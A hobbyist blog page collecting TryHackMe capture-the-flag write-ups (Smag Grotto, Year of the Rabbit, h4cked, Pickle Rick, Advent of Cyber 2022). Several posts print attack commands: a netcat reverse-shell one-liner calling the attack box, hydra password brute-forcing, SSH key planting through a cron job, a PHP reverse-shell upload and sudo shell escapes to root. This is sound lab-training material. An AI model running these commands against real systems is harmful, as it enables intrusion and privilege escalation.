Showing posts with label cyber security writeups. Show all posts
Showing posts with label cyber security writeups. Show all posts

Thursday, December 29, 2022

TryHackMe - Smag Grotto - writeup

Smag Grotto is one of the easy CTF rooms on the TryHackMe.com. Here are my steps that lead me to the successful solution and finding both user and root flag. Before you start you need to boot up the VM and attackbox machine.
  1. step
  2. First I have run nmap scan:
    nmap -sC VM_IP
    Scan gives me that only 2 ports are open - ssh and http. Connection to the page ip, didnt give me much more info.
  3. step
  4. I then tried researching the VM with gobuster:
    gobuster dir -t 40 -u VM_IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
    With gobuster I find /mail folder.
  5. step
  6. Then I opened /mail folder where we find the email correspondence with .pcap trace file.
  7. step
  8. I have downloaded the pcap file and open it with wireshark.In the trace file I have found the new domain where site is located. I also found the username and password for login.
  9. step
  10. To access new domain I have added VM_IP and new domain I have found in .pcap file to the /etc/hosts file on attackbox machine.
  11. step
  12. Now I have entered domain to the web browser and found login.php script and enter credentials from .pcap file.
  13. step
  14. After the login you are at site where you can enter commands. I had to look around the internet to get hint what to do in this step. In this step we initiate the reverse shell and start nc listener on attack box. I have run:
    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc Attackbox_IP 1338 >/tmp/f
    On the attackbox I have started nc listener:
    nc -lvnp 1338
  15. step
  16. In a second I got shell access as www-data. After that I have checked cronjob settings and see that there is copy of the /opt/.backups/jake_ir_rsa.pub.backup public key to the authorised keys. Hmmm I think we could exploit this one by putting our public key instead of legit key.
  17. step
  18. On attackbox machine we can create our public key with following command:
    ssh-keygen -t rsa -P '' -f jakekey
    then we open key file and copy to the target machine with :
    echo "public_key_we_created" > jake_id_rsa.pub.backup
    Note that you need to create file in /opt/.backups/ folder and filename needs to be as stated above that cronjob will take our file and we can login to the machine.
  19. step
  20. Ok in this step I tried to log in to the machine using key. But of course I bit forgot how to do it so I had to look for little help what is exact command to use ssh keys to connect to the machine.
    ssh -i jakekey jake@devleopment.smag.thm
    then I pressed enter and I was logged in as jake. We can now search for the user flag.
    find / -type f -name user.txt 2>/dev/null
  21. step
  22. Then I can open user.txt file and copy the flag.
  23. step
  24. Now I was missing only root flag and I could access file only as root. I checked what programs I could run as jake user:
    sudo -l
    Output of the command showed us that apt-get command can be run as jake user.
  25. step
  26. To do so we head over to the GTFObins and we find the command that we can run as current user to get root access.

  27. step
  28. We can find root flag at:
    cat /root/root.txt
I hope anyone who gets stuck finds it helpful
AudiTTRSi

Wednesday, December 14, 2022

TryHackMe.com - Advent of Cyber 2022 - Day 14 - writeup

Advent of Cyber is now regular seasonal room on TryHackMe page. This is their 4th time and again with awsome story to follow each day's assignment. Here are my solutions for the Day 14, if anyone gets stuck or need bit of help solving questions. First you need to boot up VM and attackbox since they will take some time to boot up. After both VM and attackbox machine are booted up you can open the website on provided ip and port 8080 and log in with credentials provided in description of the task. Because of vulnerability present in the website applicaton we can freely change ids in the web address and we cycle (changing profile id numbers) through registered users and find answer to the first question.
For second one we copy profile picture and we change id number for images, because profile images have same vulnerability and we can cycle through pictures and we can find the picuter containing flag which is answer of the second question. I hope anyone who gets stuck finds it helpful
AudiTTRSi

Thursday, December 8, 2022

TryHackMe - Year of the Rabbit - writeup

Year of the Rabbit is the beginer friendly CTF room on TryHackMe.com. How ever i strongly suggest that this isnt your very first CTF room. Because this one is pretty long and not so straight forward as you would suspect from easy room. Here is my "journey" through the VM we need to hack in and
  1. step

  2. As usually I started with nmap scan:
    nmap -sS VM_IP
    Output looks promissing with open ftp, ssh and http port.
    I tried if ftp might allow us anonymous log in but without luck it doesnt allow. We will return to the ftp later.
  3. step

  4. In this step we will run our friend gobuster.
    gobuster dir -u http://VM_IP -w /usr/share/wordlists/dirb/common.txt -x php,txt,html
    Output directs us to the /assets folder where we find 2 files.
  5. step

  6. Well we got some text and a video. The text suggest that hint is in the video so i went for that but no luck. I tried looking around the web for hint and suggestion was to use burp suite. We use it to intercept the get request for page /sup3r_s3cr3t_fl4g.php in response we find the hidden folder.
  7. step

  8. Open the hidden folder we got in previous step we find picture of the girl. Hmm what could we do with it maybe some meta data.
    strings hot_babe.png
    Voila we get list of possible password and username for FTP access.
  9. step

  10. We use hydra tool:
    hydra -l ftpuser - P possible_pass.txt ftp:/vm_ip
    Hydra will run fast because of short list and you get log in to the ftp with username and password:
    ftp VM_IP
    We are prompted for credentials. After login we use ls and we see Eli's_Creds.txt. I have downloaded filed to attackbox:
    get Eli's_Creds.txt
  11. step

  12. I have opened file on attackbox at first file looks like jibrish but I think I saw once this before.
    I have looked around the web for brainfuck language. I have confirmed that this is brainfuck and I used this decoder
    This one gave us ssh credentials.
    ssh username@VM_IP
    We enter password we got with decoded and the login we get hint were to look for flag? or soemthing else? we have found another credendetials.
    su another_username
    After logged in new account I checked home folder of user where you find the user.txt flag.
  13. step

  14. Ok we got user flag, lets try to escalate priviliges. We check if we can run any command as root user.
    sudo -l
    From output I saw you can run vi program. I headed over to the GTFObins and see what command will help us to get the root access.
    sudo -u#-1 /usr/bin/vi /home/gwendoline/user.txt
    then we ctrl + c and we type in !/bin/sh and voila we have root access.
    cd /root
    ls
    cat root.txt
I hope anyone who gets stuck finds it helpful
AudiTTRSi

Tuesday, December 6, 2022

TryHackMe.com - Advent of Cyber 2022 - Day 6 - writeup

Advent of Cyber is now regular seasonal room on TryHackMe page. This is their 4th time and again with awsome story to follow each day's assignment. Here are my solutions for the Day 6, if anyone gets stuck. Open the email in text editor and can solve most of the questions with analysis
  1. Q1

  2. Answer hides in 4th line of the email file - From:
  3. Q2

  4. Answer hides in 14th line of the email file - Return-Path:
  5. Q3

  6. Answer hides in 4th line of the email file.
  7. Q4

  8. Answer hides in 11th line of the email file - X-spam score
  9. Q5

  10. Copy value from message ID to the CyberChef and decode from base64. Output is the answer to this question.
  11. Q6

  12. GO to EmailRep and enter the sender email. Answer will appear right below the entry box where you have entered email.
  13. Q7

  14. Open terminal and move to the eml_attachments fodler on desktop and run:
    sha256sum file_name
    to get hash value which is the answer of Q7.
  15. Q8

  16. Visit VirusTotal site and enter attachment's hash
  17. Q9

  18. Visit InQuest site, enter attachment's hash and look for answer on the site
I hope anyone who gets stuck finds it helpful
AudiTTRSi

Saturday, December 3, 2022

TryHackMe.com - Advent of Cyber 2022 - Day 3 - writeup

Advent of Cyber is now regular seasonal room on TryHackMe page. This is their 4th time and again with awsome story to follow each day's assignment. Here are my solutions for the Day 3, if anyone gets stuck. Today's assinment is covering the OSINT technics.
OSINT is gathering and analysing publicly accessable data for intel purposes. For example:
  • the internet
  • mass media
  • journals and research pappers
  • photos
  • location informations
  1. Q1

  2. To anwser the first question you will need to visit who.is to get info about domain in question.
  3. Q2

  4. I was looking up on github to find source repository. What is the name of file where would you usally save settings ?
  5. Q3

  6. I was looking up on github to find source repository. What is the name of file where would you usally save settings ?
  7. Q4

  8. For succesfully answering this one you have to search through the file we talk in Q2 and Q3.
  9. Q5

  10. For succesfully answering this one you have to search through the file we talk in Q2 and Q3
I hope anyone who gets stuck finds it helpful AudiTTRSi

Friday, December 2, 2022

TryHackMe.com - Advent of Cyber 2022 - Day 2 - writeup

Advent of Cyber is now regular seasonal room on TryHackMe page. This is their 4th time and again with awsome story to follow each day's assignment. Here are my solutions for the Day 2, if anyone gets stuck.
  1. Q2

  2. To answer this use
    ls
    command on home folder
  3. Q3

  4. With previous command you answer the Q3.
  5. Q5

  6. Display server log file in console where you see dates and check the week day and you can answer the question.
  7. Q6

  8. With displaying the server log file we can see that logs contains only one IP address.
  9. Q7

  10. grep -v 404 webserver.log
    To display all lines that does not include 404 requests and see only succesful ones and you can then easly see
  11. Q8

  12. grep -i THM *.log

    grep through all log files in folder to find the flag.
I hope anyone finds it usefull AudiTTRSi

Tuesday, March 22, 2022

TryHackMe - h4cked - walkthrough

H4cked is one of easy room on the TryHackMe.com In task 1 we are faced by pcap file of the attack on the VM. Most of the answers in Task 1 are found from pcap file which you open with wireshark. Task 2 in this task you try to regain access to the VM same way as hacker did in task 1.
  1. Step

  2. We use hydra to crack new password with following command

    hydra -l jenny -P /usr/share/wordlists/rockyou.txt ftp://target_IP

  3. Step

  4. We log to the ftp and download the shell.php (get shell.php - is the command) and change IP and port to our attack box and upload it back (put shell.php)
  5. Step
  6. Before move to the starting the php script we need to start nc listener on attacking box with

    nc -lvnp port_number

  7. Step
  8. Now we are ready to start php script shell.php from browser:

    IP_target_machine/shell.php

  9. Step
  10. We get spawned reverse shell in terminal, with whoami command we check which user we have, then we can use

    su jenny

    and log in with pass we cracked before with hydra
  11. Step
  12. After that we can use

    sudo su

    and we have root access with this we can read root flag.
I hope someone stucked in any step of solving this room finds this walkthrough useful.

Wednesday, February 23, 2022

TryHackMe - Pickle Rick - walkthrough

Pickle Rick - A Rick and Morty CTF. Help turn Rick back into a human!
It is a CTF room on TryHackMe page if you are fan of Rick and Morty cartoon you should defently try to solve it. It is not that hard and you can solve it pretty fast.
  1. step:
  2. Start target machine that you will try to exploit and start Attackbox machine.
  3. step:
  4. As usually we try with nmap scan to check what ports are open on target machine with command:

    nmap -sC -sV Target_IP


    With only 2 ports open we check the web page
  5. step:
  6. There is nothing much on the page but is it? We check the page source code where we find username which might be useful in next steps
  7. step:
  8. With use of the gobuster we scan webpage to find hidden files or directories I have used following command:

    gobuster dir -t 40 -u 10.10.151.87 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x html,php,txt -t 60


  9. step:
  10. We find the login.php access page but we are missing password. We check the robot.txt file and we get possible password candidate for login. Which turns out that it is actual username and pass.
  11. step:
  12. We end up on command panel where we can write some command like ls and we can see interesting files there with Q1 answer ingridient. We try opening filed with cat command File_name.txt but it doesnt allow us.
    We try with less command File_name.txt voila we opened it and we can answer first Q1.
  13. step:
  14. In this step we check the clue.txt file which says that we should look around directories for second ingridient. We try to get to other directories in /home/rick/ we find the file second ingridients. Since the spaces in files names and linux arent good friends we need to use less command like this:

    less '/home/rick/second ingredients'


    And voila we have 2nd ingredient and we can answer the Q2.
  15. step:
  16. with command

    sudo -l

    we check what we can run as root.
  17. step:
  18. we can try

    sudo ls -la /root

    and we find 3rd.txt
  19. step:
  20. Since we cannot open file in it's folder we can try copying to other directory and change permissions:

    sudo cp /root/3rd.txt /var/www/html/ && chmod 777 3rd.txt

  21. step:
  22. In browser open file via Target_IP/3rd.txt. and we can answer last Q3 in this room.
I hope anyone who gets stucked finds this writeup helpful.

TryHackMe - Shadow Trace Writeup

 Shadow Trace is premium room on TryHackMe.com part of the SOC Level 1 Path. We need to analyse a suspicious file, uncover hidden clues, an...